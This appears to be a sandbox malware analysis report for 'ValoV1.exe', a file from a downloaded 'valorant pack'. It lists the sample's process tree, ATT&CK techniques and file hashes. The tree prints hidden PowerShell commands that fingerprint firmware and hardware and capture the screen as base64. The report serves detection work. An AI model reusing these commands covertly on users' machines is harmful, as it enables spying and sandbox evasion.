- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=7816,i,17549142039744628183,4731618937936967592,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:1
  2⤵
  PID:5712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=5236,i,1950542566081997657,5399977417191364857,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=6128 /prefetch:1
  2⤵
  PID:5912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=7776,i,5479511471053632474,10172998806676700853,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=6940 /prefetch:1
  2⤵
  PID:5964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=5660,i,417435123736717567,6651751372279661133,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
  2⤵
  PID:5972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --metrics-shmem-handle=7584,i,13584877262430610920,8933379258205087515,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=7488 /prefetch:1
  2⤵
  PID:4916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --metrics-shmem-handle=7184,i,12923176740860282097,9012848823818993370,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=7180 /prefetch:1
  2⤵
  PID:5616

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3932

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4104

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\valorant pack\" -ad -an -ai#7zMap2194:88:7zEvent26399
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1924

C:\Users\Admin\Downloads\valorant pack\valorant pack\ValoV1.exe
"C:\Users\Admin\Downloads\valorant pack\valorant pack\ValoV1.exe"
1⤵
- Executes dropped EXE
PID:3108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"|\\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()""
  2⤵
  PID:4900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()""
  2⤵
  PID:3980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1324
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\stu2d5jq\stu2d5jq.cmdline"
      4⤵
      PID:5892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List""
  2⤵
  PID:2304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List""
  2⤵
  PID:112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List""
  2⤵
  PID:5928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List""
  2⤵
  PID:3012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List""
  2⤵
  PID:5632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List""
  2⤵
  PID:4172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Manufacturer /format:list"
  2⤵
  PID:3228
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Manufacturer /format:list
    3⤵
    PID:4496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product /format:list"
  2⤵
  PID:2420
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Product /format:list
    3⤵
    PID:1836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List""
  2⤵
  PID:2484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List""
  2⤵
  PID:6084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List""
  2⤵
  PID:4340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())""
  2⤵
  PID:5916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2852

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e877f0a415e0b11e6e391a9a0a102638fac8b3099e8f32b9ef4e1e84eaadeb37
MD5 d1d2f6a9ae9780f8ca8d001995063d38
SHA1 773484f0fa35e04de308a45b1dcc690d3ff47076
SHA512 13877ff40317187f361b44b18eef80cf80edef13eded491dc6a07ba58a45e503cd1adf691e6271c841aa7ffdb87a73a9184a887bd78c79c09dd91490a7fc1455
TLSH
T1B5D0A7161E3528C0F7694174B1938F401B9D64B606451A49574498154CF44D34487BC2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 cd640af4b18734f838b65cd3f2b65e25dc669e7cc487a16f826240b353446af4
MD5 337b94f0014654439210355bd20e82dd
SHA1 26e4c8276331781253e2a807dd554b2ee3ad7e8e
SHA512 087107a51c83ccffad34c7d3f5423a0f231d30a9f78e9ed5db98eb770bada291f65c7b34d1e72284571b846a7acdf88b217ef4da25b7acff47964af1551b2e9b
TLSH
T1B6D012323B197041E71A8130E403C74017AE54B524864606A254C50D6DA90C592CB682
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 85f865adbe5e58c0596a4db9b9daa509b8e2bd087dbcc9a01a5a095a266757bc
MD5 29ddc94c4e214fd03f664130dd36edfe
SHA1 10dfd57508ad6ef16445956dc1ee4d8c2bffc4e3
SHA512 fa7477f3f8068f41dae4965a930de8ad11b234c1ccfcd17a84fb2bfe4c289beebc19be8d058f75ed01b6dbe7304af8270da91d31316fc94360f4fa750ab203bd
TLSH
T13AD012323B597441E71A8130E403C74017AE54B524868706A254C50D6DAA0C592CB682
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ce8ae7a71e1779c6433940cc76fad3139d0e73ea422d4288bd0a5a6a59a98933
MD5 a2a27e5ee7cf2569b2b28798bc7ff397
SHA1 b922ce360a1247ebe9f71239c2f3f4d48c5facce
SHA512 7eac847951e0f8213f1e02bf2a13c769f91de82ad3263645720c8eac54bc9d33cb27c55576fc029eab899d635f00f677291a1b6ec657da39eb1a1233b8c452b1
TLSH
T141D023143F7668C1E378103979474F402FCC94F51209155907454C154CF64D784CAEC6
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 7921520c3e8419846a72760de422eb8751268d26ac4049783a6fe082418eaa49
MD5 ad7f2b2e9058a6aeb601030063c22c0a
SHA1 67e92fb659df97ee526b0fe829049d1f1d456948
SHA512 8327ed7e158d7e7fd38ea628d7533fb579234a26b1856f0ef4393a4cfc83f1b29a95f66033c1390b1f2980218b4b7d20ed48c9c100d34e017efb5c9034270759
SSDEEP 96:7WFSxQpda5frZHcGkTAGV3SOvKf47gxjQLl:7WCGazyTAGr98Mh
TLSH
T103A10E3DD5270662DB6C00B8A1CC196C30FA8BEEFE5B1FC55AE15E7164337D1A389928
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe58b5de.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58b5de.TMP
Size 3KB
SHA256 e7e792ee51f41022eecb4ea072e6abe9534da018c79d5abd638fdf27e05dcd2a
MD5 d1edc0388778d3e1b2014c995628e5d3
SHA1 2b470b46f525f42b603f9f3c366a4c00647076dd
SHA512 0f471bffda5c97ca5c83f2e746065d36db13748e046dc39681a8b08b80ddc6945b0211f445bf13e5e0b73d450618a1b0416286cddc95147cbc0768e9c3b1684b
TLSH
T12D81C739C20301A5DB2D01B8B1CD112C34FB99E9FEAB1E958CD56B7678323D1E39825C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 21KB
SHA256 896af8281bbaf38992247d26cabceeaedda2a1722c5302551db369ebfdf01ab0
MD5 09bc45d98d747d219ec288942ee0e347
SHA1 ff82be68125d5abee8f23f43ad2c4f308bf179d9
SHA512 fe1ea1ee22010b1d79dc65a4fc2f72d2a392964039306f89a02ef253e3cabc38267ea950b4f43d2235c7572b2c6bb8b6b23193affbb2c60a5288a591d061bf65
SSDEEP 384:DtvW09N+Mq77BAeJtocgbDEKeenJls12bzKu4XsoYm1Y704urvsLAYY6iw4VqM4M:R2KrrhbOwzwr1lee7
TLSH
T19DA298F787E5C52E891156F86614AE1BCF1C1659432C3C1688D5EE87E3E3832E16E20F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 567ace9df75ff10b94770485c096292051e8d736934fa4af713d708e7e46df1c
MD5 99afc0cd3e7e6bac282abdc1172f1dd8
SHA1 6f5d7d475e12d9b1574b2623da0e294d8590a441
SHA512 a2c143fbfdc6f4bb92001141b3bf077d2c66f43a5f69badcfc69fff8a926827785a603d35a2c3163c3a48bd109eb6b4999c448860d20dd9078e1c149bbdf3dc0
SSDEEP 192:sxZLR/yM/jK1Ml8Mmz/fzs4fTsSEdp8xHW6+WNmYX//ZPX3eXVIuiVj/Zzc9sYIf:sxZLbez/fzsmT4sHbd/x6Vfc
TLSH
T1C352C853BA3859778CCBD219F555BB57D6F90862D2940E94BAFCCA1C00E6AED2203C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 18KB
SHA256 0d5bd705714831bec3d2582e018631c6f3e5c7d3ac8c8d8db9bebbc558c23fa7
MD5 0dbe2a0bed502898e6d3279d9729735f
SHA1 dc7917a75206e277e8394503297845aaa6008d86
SHA512 b467d29635d549e83c9f276f844c14d220615f82aa7249f21c50fbc708de4a661517811ba7467f53e157902dc5bedff3aac3004947fc7652c3a95313448afcf1
SSDEEP 384:sxZj11z/fzsEWvETxwsHb6XaHyhBkIWbwV7N:s7rz/fDYETnHbEyyhChbwH
TLSH
T15382A793B5384A7B5DDA9239F551B72BD7F90826D6904ED0BAFCCA0C00D7AED2102C5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 17KB
SHA256 fdfeaac667577abec40ed9b809f1754ed6a630978875551f0d3a4fc3013929a7
MD5 e0ef9476eaf5d2f5bcd39dcb05f5e83e
SHA1 5faa04a51ab2408d3e9e490df15cf2d3e9be77b3
SHA512 8783528f2f676323b892add60bc33f99437389380d0fa1964db87dae1009a4f3f0bfd5bbca98e734f7257aec99a0bf08dce05e180e62aeedd67c64477f6c5961
SSDEEP 384:sxZj1ez/fzsmTxwsHb+XaHyhBkIWbwVnz:s7sz/fFTnHb4yyhChbwN
TLSH
T13C829793B53C0A7B5DDA9239F540B72BD6F90862D6904ED1BAFCCA0C00D7AED6102C5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 c32bda26d13d46f6587103878bfd700b4d108c4bc674e2cdf677942553154511
MD5 3f94c01f9102f841bb0b670e85b79b0d
SHA1 f5682251230e7073d165702636fbc236c2b98986
SHA512 5f3addbf0c88bf37b501a96b9ce7fcdc37c635833fff11f7b62c4f1110e4461f2d46b932eefbb357a3aa6810d703441ce9d304bed6c57c4cceced6e9cfe979ee
SSDEEP 768:cvW7k+0Wvqida8F1+UoAYDCx9Tuqh0VfUC9xbog/OVO5LlWYSjjroINKXY7:cvW7k+0Wvqidau1jap5LA3jQW7
TLSH
